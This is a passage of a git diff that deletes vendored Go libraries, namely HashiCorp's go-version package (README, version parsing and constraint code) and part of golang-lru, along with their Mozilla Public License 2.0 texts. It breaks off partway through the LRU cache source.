under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from such - party’s negligence to the extent applicable law prohibits such limitation. - Some jurisdictions do not allow the exclusion or limitation of incidental or - consequential damages, so this exclusion and limitation may not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts of - a jurisdiction where the defendant maintains its principal place of business - and such litigation shall be governed by laws of that jurisdiction, without - reference to its conflict-of-law provisions. Nothing in this Section shall - prevent a party’s ability to bring cross-claims or counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject matter - hereof. If any provision of this License is held to be unenforceable, such - provision shall be reformed only to the extent necessary to make it - enforceable. Any law or regulation which provides that the language of a - contract shall be construed against the drafter shall not be used to construe - this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version of - the License under which You originally received the Covered Software, or - under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a modified - version of this License if you rename the license and remove any - references to the name of the license steward (except to note that such - modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses - If You choose to distribute Source Code Form that is Incompatible With - Secondary Licenses under the terms of this version of the License, the - notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, then -You may include the notice in a location (such as a LICENSE file in a relevant -directory) where a recipient would be likely to look for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - “Incompatible With Secondary Licenses” Notice - - This Source Code Form is “Incompatible - With Secondary Licenses”, as defined by - the Mozilla Public License, v. 2.0. - diff --git a/vendor/github.com/hashicorp/go-version/README.md b/vendor/github.com/hashicorp/go-version/README.md deleted file mode 100644 index 6f3a15ce77..0000000000 --- a/vendor/github.com/hashicorp/go-version/README.md +++ /dev/null @@ -1,65 +0,0 @@ -# Versioning Library for Go -[![Build Status](https://travis-ci.org/hashicorp/go-version.svg?branch=master)](https://travis-ci.org/hashicorp/go-version) - -go-version is a library for parsing versions and version constraints, -and verifying versions against a set of constraints. go-version -can sort a collection of versions properly, handles prerelease/beta -versions, can increment versions, etc. - -Versions used with go-version must follow [SemVer](http://semver.org/). - -## Installation and Usage - -Package documentation can be found on -[GoDoc](http://godoc.org/github.com/hashicorp/go-version). - -Installation can be done with a normal `go get`: - -``` -$ go get github.com/hashicorp/go-version -``` - -#### Version Parsing and Comparison - -```go -v1, err := version.NewVersion("1.2") -v2, err := version.NewVersion("1.5+metadata") - -// Comparison example. There is also GreaterThan, Equal, and just -// a simple Compare that returns an int allowing easy >=, <=, etc. -if v1.LessThan(v2) { - fmt.Printf("%s is less than %s", v1, v2) -} -``` - -#### Version Constraints - -```go -v1, err := version.NewVersion("1.2") - -// Constraints example. -constraints, err := version.NewConstraint(">= 1.0, < 1.4") -if constraints.Check(v1) { - fmt.Printf("%s satisfies constraints %s", v1, constraints) -} -``` - -#### Version Sorting - -```go -versionsRaw := []string{"1.1", "0.7.1", "1.4-beta", "1.4", "2"} -versions := make([]*version.Version, len(versionsRaw)) -for i, raw := range versionsRaw { - v, _ := version.NewVersion(raw) - versions[i] = v -} - -// After this, the versions are properly sorted -sort.Sort(version.Collection(versions)) -``` - -## Issues and Contributing - -If you find an issue with this library, please report an issue. If you'd -like, we welcome any contributions. Fork this library and submit a pull -request. diff --git a/vendor/github.com/hashicorp/go-version/constraint.go b/vendor/github.com/hashicorp/go-version/constraint.go deleted file mode 100644 index d055759611..0000000000 --- a/vendor/github.com/hashicorp/go-version/constraint.go +++ /dev/null @@ -1,204 +0,0 @@ -package version - -import ( - "fmt" - "reflect" - "regexp" - "strings" -) - -// Constraint represents a single constraint for a version, such as -// ">= 1.0". -type Constraint struct { - f constraintFunc - check *Version - original string -} - -// Constraints is a slice of constraints. We make a custom type so that -// we can add methods to it. -type Constraints []*Constraint - -type constraintFunc func(v, c *Version) bool - -var constraintOperators map[string]constraintFunc - -var constraintRegexp *regexp.Regexp - -func init() { - constraintOperators = map[string]constraintFunc{ - "": constraintEqual, - "=": constraintEqual, - "!=": constraintNotEqual, - ">": constraintGreaterThan, - "<": constraintLessThan, - ">=": constraintGreaterThanEqual, - "<=": constraintLessThanEqual, - "~>": constraintPessimistic, - } - - ops := make([]string, 0, len(constraintOperators)) - for k := range constraintOperators { - ops = append(ops, regexp.QuoteMeta(k)) - } - - constraintRegexp = regexp.MustCompile(fmt.Sprintf( - `^\s*(%s)\s*(%s)\s*$`, - strings.Join(ops, "|"), - VersionRegexpRaw)) -} - -// NewConstraint will parse one or more constraints from the given -// constraint string. The string must be a comma-separated list of -// constraints. -func NewConstraint(v string) (Constraints, error) { - vs := strings.Split(v, ",") - result := make([]*Constraint, len(vs)) - for i, single := range vs { - c, err := parseSingle(single) - if err != nil { - return nil, err - } - - result[i] = c - } - - return Constraints(result), nil -} - -// Check tests if a version satisfies all the constraints. -func (cs Constraints) Check(v *Version) bool { - for _, c := range cs { - if !c.Check(v) { - return false - } - } - - return true -} - -// Returns the string format of the constraints -func (cs Constraints) String() string { - csStr := make([]string, len(cs)) - for i, c := range cs { - csStr[i] = c.String() - } - - return strings.Join(csStr, ",") -} - -// Check tests if a constraint is validated by the given version. -func (c *Constraint) Check(v *Version) bool { - return c.f(v, c.check) -} - -func (c *Constraint) String() string { - return c.original -} - -func parseSingle(v string) (*Constraint, error) { - matches := constraintRegexp.FindStringSubmatch(v) - if matches == nil { - return nil, fmt.Errorf("Malformed constraint: %s", v) - } - - check, err := NewVersion(matches[2]) - if err != nil { - return nil, err - } - - return &Constraint{ - f: constraintOperators[matches[1]], - check: check, - original: v, - }, nil -} - -func prereleaseCheck(v, c *Version) bool { - switch vPre, cPre := v.Prerelease() != "", c.Prerelease() != ""; { - case cPre && vPre: - // A constraint with a pre-release can only match a pre-release version - // with the same base segments. - return reflect.DeepEqual(c.Segments64(), v.Segments64()) - - case !cPre && vPre: - // A constraint without a pre-release can only match a version without a - // pre-release. - return false - - case cPre && !vPre: - // OK, except with the pessimistic operator - case !cPre && !vPre: - // OK - } - return true -} - -//------------------------------------------------------------------- -// Constraint functions -//------------------------------------------------------------------- - -func constraintEqual(v, c *Version) bool { - return v.Equal(c) -} - -func constraintNotEqual(v, c *Version) bool { - return !v.Equal(c) -} - -func constraintGreaterThan(v, c *Version) bool { - return prereleaseCheck(v, c) && v.Compare(c) == 1 -} - -func constraintLessThan(v, c *Version) bool { - return prereleaseCheck(v, c) && v.Compare(c) == -1 -} - -func constraintGreaterThanEqual(v, c *Version) bool { - return prereleaseCheck(v, c) && v.Compare(c) >= 0 -} - -func constraintLessThanEqual(v, c *Version) bool { - return prereleaseCheck(v, c) && v.Compare(c) <= 0 -} - -func constraintPessimistic(v, c *Version) bool { - // Using a pessimistic constraint with a pre-release, restricts versions to pre-releases - if !prereleaseCheck(v, c) || (c.Prerelease() != "" && v.Prerelease() == "") { - return false - } - - // If the version being checked is naturally less than the constraint, then there - // is no way for the version to be valid against the constraint - if v.LessThan(c) { - return false - } - // We'll use this more than once, so grab the length now so it's a little cleaner - // to write the later checks - cs := len(c.segments) - - // If the version being checked has less specificity than the constraint, then there - // is no way for the version to be valid against the constraint - if cs > len(v.segments) { - return false - } - - // Check the segments in the constraint against those in the version. If the version - // being checked, at any point, does not have the same values in each index of the - // constraints segments, then it cannot be valid against the constraint. - for i := 0; i < c.si-1; i++ { - if v.segments[i] != c.segments[i] { - return false - } - } - - // Check the last part of the segment in the constraint. If the version segment at - // this index is less than the constraints segment at this index, then it cannot - // be valid against the constraint - if c.segments[cs-1] > v.segments[cs-1] { - return false - } - - // If nothing has rejected the version by now, it's valid - return true -} diff --git a/vendor/github.com/hashicorp/go-version/go.mod b/vendor/github.com/hashicorp/go-version/go.mod deleted file mode 100644 index f5285555fa..0000000000 --- a/vendor/github.com/hashicorp/go-version/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/hashicorp/go-version diff --git a/vendor/github.com/hashicorp/go-version/version.go b/vendor/github.com/hashicorp/go-version/version.go deleted file mode 100644 index 1032c5606c..0000000000 --- a/vendor/github.com/hashicorp/go-version/version.go +++ /dev/null @@ -1,380 +0,0 @@ -package version - -import ( - "bytes" - "fmt" - "reflect" - "regexp" - "strconv" - "strings" -) - -// The compiled regular expression used to test the validity of a version. -var ( - versionRegexp *regexp.Regexp - semverRegexp *regexp.Regexp -) - -// The raw regular expression string used for testing the validity -// of a version. -const ( - VersionRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` + - `(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-?([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?` + - `(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))?` + - `?` - - // SemverRegexpRaw requires a separator between version and prerelease - SemverRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` + - `(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?` + - `(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))?` + - `?` -) - -// Version represents a single version. -type Version struct { - metadata string - pre string - segments []int64 - si int - original string -} - -func init() { - versionRegexp = regexp.MustCompile("^" + VersionRegexpRaw + "$") - semverRegexp = regexp.MustCompile("^" + SemverRegexpRaw + "$") -} - -// NewVersion parses the given version and returns a new -// Version. -func NewVersion(v string) (*Version, error) { - return newVersion(v, versionRegexp) -} - -// NewSemver parses the given version and returns a new -// Version that adheres strictly to SemVer specs -// https://semver.org/ -func NewSemver(v string) (*Version, error) { - return newVersion(v, semverRegexp) -} - -func newVersion(v string, pattern *regexp.Regexp) (*Version, error) { - matches := pattern.FindStringSubmatch(v) - if matches == nil { - return nil, fmt.Errorf("Malformed version: %s", v) - } - segmentsStr := strings.Split(matches[1], ".") - segments := make([]int64, len(segmentsStr)) - si := 0 - for i, str := range segmentsStr { - val, err := strconv.ParseInt(str, 10, 64) - if err != nil { - return nil, fmt.Errorf( - "Error parsing version: %s", err) - } - - segments[i] = int64(val) - si++ - } - - // Even though we could support more than three segments, if we - // got less than three, pad it with 0s. This is to cover the basic - // default usecase of semver, which is MAJOR.MINOR.PATCH at the minimum - for i := len(segments); i < 3; i++ { - segments = append(segments, 0) - } - - pre := matches[7] - if pre == "" { - pre = matches[4] - } - - return &Version{ - metadata: matches[10], - pre: pre, - segments: segments, - si: si, - original: v, - }, nil -} - -// Must is a helper that wraps a call to a function returning (*Version, error) -// and panics if error is non-nil. -func Must(v *Version, err error) *Version { - if err != nil { - panic(err) - } - - return v -} - -// Compare compares this version to another version. This -// returns -1, 0, or 1 if this version is smaller, equal, -// or larger than the other version, respectively. -// -// If you want boolean results, use the LessThan, Equal, -// GreaterThan, GreaterThanOrEqual or LessThanOrEqual methods. -func (v *Version) Compare(other *Version) int { - // A quick, efficient equality check - if v.String() == other.String() { - return 0 - } - - segmentsSelf := v.Segments64() - segmentsOther := other.Segments64() - - // If the segments are the same, we must compare on prerelease info - if reflect.DeepEqual(segmentsSelf, segmentsOther) { - preSelf := v.Prerelease() - preOther := other.Prerelease() - if preSelf == "" && preOther == "" { - return 0 - } - if preSelf == "" { - return 1 - } - if preOther == "" { - return -1 - } - - return comparePrereleases(preSelf, preOther) - } - - // Get the highest specificity (hS), or if they're equal, just use segmentSelf length - lenSelf := len(segmentsSelf) - lenOther := len(segmentsOther) - hS := lenSelf - if lenSelf < lenOther { - hS = lenOther - } - // Compare the segments - // Because a constraint could have more/less specificity than the version it's - // checking, we need to account for a lopsided or jagged comparison - for i := 0; i < hS; i++ { - if i > lenSelf-1 { - // This means Self had the lower specificity - // Check to see if the remaining segments in Other are all zeros - if !allZero(segmentsOther[i:]) { - // if not, it means that Other has to be greater than Self - return -1 - } - break - } else if i > lenOther-1 { - // this means Other had the lower specificity - // Check to see if the remaining segments in Self are all zeros - - if !allZero(segmentsSelf[i:]) { - //if not, it means that Self has to be greater than Other - return 1 - } - break - } - lhs := segmentsSelf[i] - rhs := segmentsOther[i] - if lhs == rhs { - continue - } else if lhs < rhs { - return -1 - } - // Otherwis, rhs was > lhs, they're not equal - return 1 - } - - // if we got this far, they're equal - return 0 -} - -func allZero(segs []int64) bool { - for _, s := range segs { - if s != 0 { - return false - } - } - return true -} - -func comparePart(preSelf string, preOther string) int { - if preSelf == preOther { - return 0 - } - - var selfInt int64 - selfNumeric := true - selfInt, err := strconv.ParseInt(preSelf, 10, 64) - if err != nil { - selfNumeric = false - } - - var otherInt int64 - otherNumeric := true - otherInt, err = strconv.ParseInt(preOther, 10, 64) - if err != nil { - otherNumeric = false - } - - // if a part is empty, we use the other to decide - if preSelf == "" { - if otherNumeric { - return -1 - } - return 1 - } - - if preOther == "" { - if selfNumeric { - return 1 - } - return -1 - } - - if selfNumeric && !otherNumeric { - return -1 - } else if !selfNumeric && otherNumeric { - return 1 - } else if !selfNumeric && !otherNumeric && preSelf > preOther { - return 1 - } else if selfInt > otherInt { - return 1 - } - - return -1 -} - -func comparePrereleases(v string, other string) int { - // the same pre release! - if v == other { - return 0 - } - - // split both pre releases for analyse their parts - selfPreReleaseMeta := strings.Split(v, ".") - otherPreReleaseMeta := strings.Split(other, ".") - - selfPreReleaseLen := len(selfPreReleaseMeta) - otherPreReleaseLen := len(otherPreReleaseMeta) - - biggestLen := otherPreReleaseLen - if selfPreReleaseLen > otherPreReleaseLen { - biggestLen = selfPreReleaseLen - } - - // loop for parts to find the first difference - for i := 0; i < biggestLen; i = i + 1 { - partSelfPre := "" - if i < selfPreReleaseLen { - partSelfPre = selfPreReleaseMeta[i] - } - - partOtherPre := "" - if i < otherPreReleaseLen { - partOtherPre = otherPreReleaseMeta[i] - } - - compare := comparePart(partSelfPre, partOtherPre) - // if parts are equals, continue the loop - if compare != 0 { - return compare - } - } - - return 0 -} - -// Equal tests if two versions are equal. -func (v *Version) Equal(o *Version) bool { - return v.Compare(o) == 0 -} - -// GreaterThan tests if this version is greater than another version. -func (v *Version) GreaterThan(o *Version) bool { - return v.Compare(o) > 0 -} - -// GreaterThanOrEqualTo tests if this version is greater than or equal to another version. -func (v *Version) GreaterThanOrEqual(o *Version) bool { - return v.Compare(o) >= 0 -} - -// LessThan tests if this version is less than another version. -func (v *Version) LessThan(o *Version) bool { - return v.Compare(o) < 0 -} - -// LessThanOrEqualTo tests if this version is less than or equal to another version. -func (v *Version) LessThanOrEqual(o *Version) bool { - return v.Compare(o) <= 0 -} - -// Metadata returns any metadata that was part of the version -// string. -// -// Metadata is anything that comes after the "+" in the version. -// For example, with "1.2.3+beta", the metadata is "beta". -func (v *Version) Metadata() string { - return v.metadata -} - -// Prerelease returns any prerelease data that is part of the version, -// or blank if there is no prerelease data. -// -// Prerelease information is anything that comes after the "-" in the -// version (but before any metadata). For example, with "1.2.3-beta", -// the prerelease information is "beta". -func (v *Version) Prerelease() string { - return v.pre -} - -// Segments returns the numeric segments of the version as a slice of ints. -// -// This excludes any metadata or pre-release information. For example, -// for a version "1.2.3-beta", segments will return a slice of -// 1, 2, 3. -func (v *Version) Segments() []int { - segmentSlice := make([]int, len(v.segments)) - for i, v := range v.segments { - segmentSlice[i] = int(v) - } - return segmentSlice -} - -// Segments64 returns the numeric segments of the version as a slice of int64s. -// -// This excludes any metadata or pre-release information. For example, -// for a version "1.2.3-beta", segments will return a slice of -// 1, 2, 3. -func (v *Version) Segments64() []int64 { - result := make([]int64, len(v.segments)) - copy(result, v.segments) - return result -} - -// String returns the full version string included pre-release -// and metadata information. -// -// This value is rebuilt according to the parsed segments and other -// information. Therefore, ambiguities in the version string such as -// prefixed zeroes (1.04.0 => 1.4.0), `v` prefix (v1.0.0 => 1.0.0), and -// missing parts (1.0 => 1.0.0) will be made into a canonicalized form -// as shown in the parenthesized examples. -func (v *Version) String() string { - var buf bytes.Buffer - fmtParts := make([]string, len(v.segments)) - for i, s := range v.segments { - // We can ignore err here since we've pre-parsed the values in segments - str := strconv.FormatInt(s, 10) - fmtParts[i] = str - } - fmt.Fprintf(&buf, strings.Join(fmtParts, ".")) - if v.pre != "" { - fmt.Fprintf(&buf, "-%s", v.pre) - } - if v.metadata != "" { - fmt.Fprintf(&buf, "+%s", v.metadata) - } - - return buf.String() -} - -// Original returns the original parsed version as-is, including any -// potential whitespace, `v` prefix, etc. -func (v *Version) Original() string { - return v.original -} diff --git a/vendor/github.com/hashicorp/go-version/version_collection.go b/vendor/github.com/hashicorp/go-version/version_collection.go deleted file mode 100644 index cc888d43e6..0000000000 --- a/vendor/github.com/hashicorp/go-version/version_collection.go +++ /dev/null @@ -1,17 +0,0 @@ -package version - -// Collection is a type that implements the sort.Interface interface -// so that versions can be sorted. -type Collection []*Version - -func (v Collection) Len() int { - return len(v) -} - -func (v Collection) Less(i, j int) bool { - return v[i].LessThan(v[j]) -} - -func (v Collection) Swap(i, j int) { - v[i], v[j] = v[j], v[i] -} diff --git a/vendor/github.com/hashicorp/golang-lru/LICENSE b/vendor/github.com/hashicorp/golang-lru/LICENSE deleted file mode 100644 index be2cc4dfb6..0000000000 --- a/vendor/github.com/hashicorp/golang-lru/LICENSE +++ /dev/null @@ -1,362 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. "Contributor" - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. "Contributor Version" - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the terms of - a Secondary License. - -1.6. "Executable Form" - - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - - means a work that combines Covered Software with other material, in a - separate file or files, that is not Covered Software. - -1.8. "License" - - means this document. - -1.9. "Licensable" - - means having the right to grant, to the maximum extent possible, whether - at the time of the initial grant or subsequently, any and all of the - rights conveyed by this License. - -1.10. "Modifications" - - means any of the following: - - a. any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. "Patent Claims" of a Contributor - - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the License, - by the making, using, selling, offering for sale, having made, import, - or transfer of either its Contributions or its Contributor Version. - -1.12. "Secondary License" - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. "Source Code Form" - - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, "control" means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution - become effective for each Contribution on the date the Contributor first - distributes such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under - this License. No additional rights or licenses will be implied from the - distribution or licensing of Covered Software under this License. - Notwithstanding Section 2.1(b) above, no patent license is granted by a - Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of - its Contributions. - - This License does not grant any rights in the trademarks, service marks, - or logos of any Contributor (except as may be necessary to comply with - the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this - License (see Section 10.2) or under the terms of a Secondary License (if - permitted under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its - Contributions are its original creation(s) or it has sufficient rights to - grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under - applicable copyright doctrines of fair use, fair dealing, or other - equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under - the terms of this License. You must inform recipients that the Source - Code Form of the Covered Software is governed by the terms of this - License, and how they can obtain a copy of this License. You may not - attempt to alter or restrict the recipients' rights in the Source Code - Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter the - recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for - the Covered Software. If the Larger Work is a combination of Covered - Software with a work governed by one or more Secondary Licenses, and the - Covered Software is not Incompatible With Secondary Licenses, this - License permits You to additionally distribute such Covered Software - under the terms of such Secondary License(s), so that the recipient of - the Larger Work may, at their option, further distribute the Covered - Software under the terms of either this License or such Secondary - License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices - (including copyright notices, patent notices, disclaimers of warranty, or - limitations of liability) contained within the Source Code Form of the - Covered Software, except that You may alter any license notices to the - extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on - behalf of any Contributor. You must make it absolutely clear that any - such warranty, support, indemnity, or liability obligation is offered by - You alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, - judicial order, or regulation then You must: (a) comply with the terms of - this License to the maximum extent possible; and (b) describe the - limitations and the code they affect. Such description must be placed in a - text file included with all distributions of the Covered Software under - this License. Except to the extent prohibited by statute or regulation, - such description must be sufficiently detailed for a recipient of ordinary - skill to be able to understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing - basis, if such Contributor fails to notify You of the non-compliance by - some reasonable means prior to 60 days after You have come back into - compliance. Moreover, Your grants from a particular Contributor are - reinstated on an ongoing basis if such Contributor notifies You of the - non-compliance by some reasonable means, this is the first time You have - received notice of non-compliance with this License from such - Contributor, and You become compliant prior to 30 days after Your receipt - of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, - counter-claims, and cross-claims) alleging that a Contributor Version - directly or indirectly infringes any patent, then the rights granted to - You by any and all Contributors for the Covered Software under Section - 2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an "as is" basis, - without warranty of any kind, either expressed, implied, or statutory, - including, without limitation, warranties that the Covered Software is free - of defects, merchantable, fit for a particular purpose or non-infringing. - The entire risk as to the quality and performance of the Covered Software - is with You. Should any Covered Software prove defective in any respect, - You (not any Contributor) assume the cost of any necessary servicing, - repair, or correction. This disclaimer of warranty constitutes an essential - part of this License. No use of any Covered Software is authorized under - this License except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from - such party's negligence to the extent applicable law prohibits such - limitation. Some jurisdictions do not allow the exclusion or limitation of - incidental or consequential damages, so this exclusion and limitation may - not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts - of a jurisdiction where the defendant maintains its principal place of - business and such litigation shall be governed by laws of that - jurisdiction, without reference to its conflict-of-law provisions. Nothing - in this Section shall prevent a party's ability to bring cross-claims or - counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject - matter hereof. If any provision of this License is held to be - unenforceable, such provision shall be reformed only to the extent - necessary to make it enforceable. Any law or regulation which provides that - the language of a contract shall be construed against the drafter shall not - be used to construe this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version - of the License under which You originally received the Covered Software, - or under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a - modified version of this License if you rename the license and remove - any references to the name of the license steward (except to note that - such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary - Licenses If You choose to distribute Source Code Form that is - Incompatible With Secondary Licenses under the terms of this version of - the License, the notice described in Exhibit B of this License must be - attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, -then You may include the notice in a location (such as a LICENSE file in a -relevant directory) where a recipient would be likely to look for such a -notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice - - This Source Code Form is "Incompatible - With Secondary Licenses", as defined by - the Mozilla Public License, v. 2.0. diff --git a/vendor/github.com/hashicorp/golang-lru/simplelru/lru.go b/vendor/github.com/hashicorp/golang-lru/simplelru/lru.go deleted file mode 100644 index 5673773b22..0000000000 --- a/vendor/github.com/hashicorp/golang-lru/simplelru/lru.go +++ /dev/null @@ -1,161 +0,0 @@ -package simplelru - -import ( - "container/list" - "errors" -) - -// EvictCallback is used to get a callback when a cache entry is evicted -type EvictCallback func(key interface{}, value interface{}) - -// LRU implements a non-thread safe fixed size LRU cache -type LRU struct { - size int - evictList *list.List - items map[interface{}]*list.Element - onEvict EvictCallback -} - -// entry is used to hold a value in the evictList -type entry struct { - key interface{} - value interface{} -} - -// NewLRU constructs an LRU of the given size -func NewLRU(size int, onEvict EvictCallback) (*LRU, error) { - if size <= 0 { - return nil, errors.New("Must provide a positive size") - } - c := &LRU{ - size: size, - evictList: list.New(), - items: make(map[interface{}]*list.Element), - onEvict: onEvict, - } - return c, nil -} - -// Purge is used to completely clear the cache. -func (c *LRU) Purge() { - for k, v := range c.items { - if c.onEvict != nil { - c.onEvict(k, v.Value.(*entry).value) - } - delete(c.items, k) - } - c.evictList.Init() -} - -// Add adds a value to the cache. Returns true if an eviction occurred. -func (c *LRU) Add(key, value interface{}) (evicted bool) { - // Check for existing item - if ent, ok := c.items[key]; ok { - c.evictList.MoveToFront(ent) - ent.Value.(*entry).value = value - return false - } - - // Add new item - ent := &entry{key, value} - entry := c.evictList.PushFront(ent) - c.items[key] = entry - - evict := c.evictList.Len() > c.size - // Verify size not exceeded - if evict { - c.removeOldest() - } - return evict -} - -// Get looks up a key's value from the cache. -func (c *LRU) Get(key interface{}) (value interface{}, ok bool) { - if ent, ok := c.items[key]; ok { - c.evictList.MoveToFront(ent) - return ent.Value.(*entry).value, true - } - return -} - -// Contains checks if a key is in the cache, without updating the recent-ness -// or deleting it for being stale. -func (c *LRU) Contains(key interface{}) (ok bool) { - _, ok = c.items[key] - return ok -} - -// Peek returns the key value (or undefined if not found) without updating -// the "recently used"-ness of the key. -func (c *LRU) Peek(key interface{}) (value interface{}, ok bool) { - var ent *list.Element - if ent, ok = c.items[key]; ok { - return 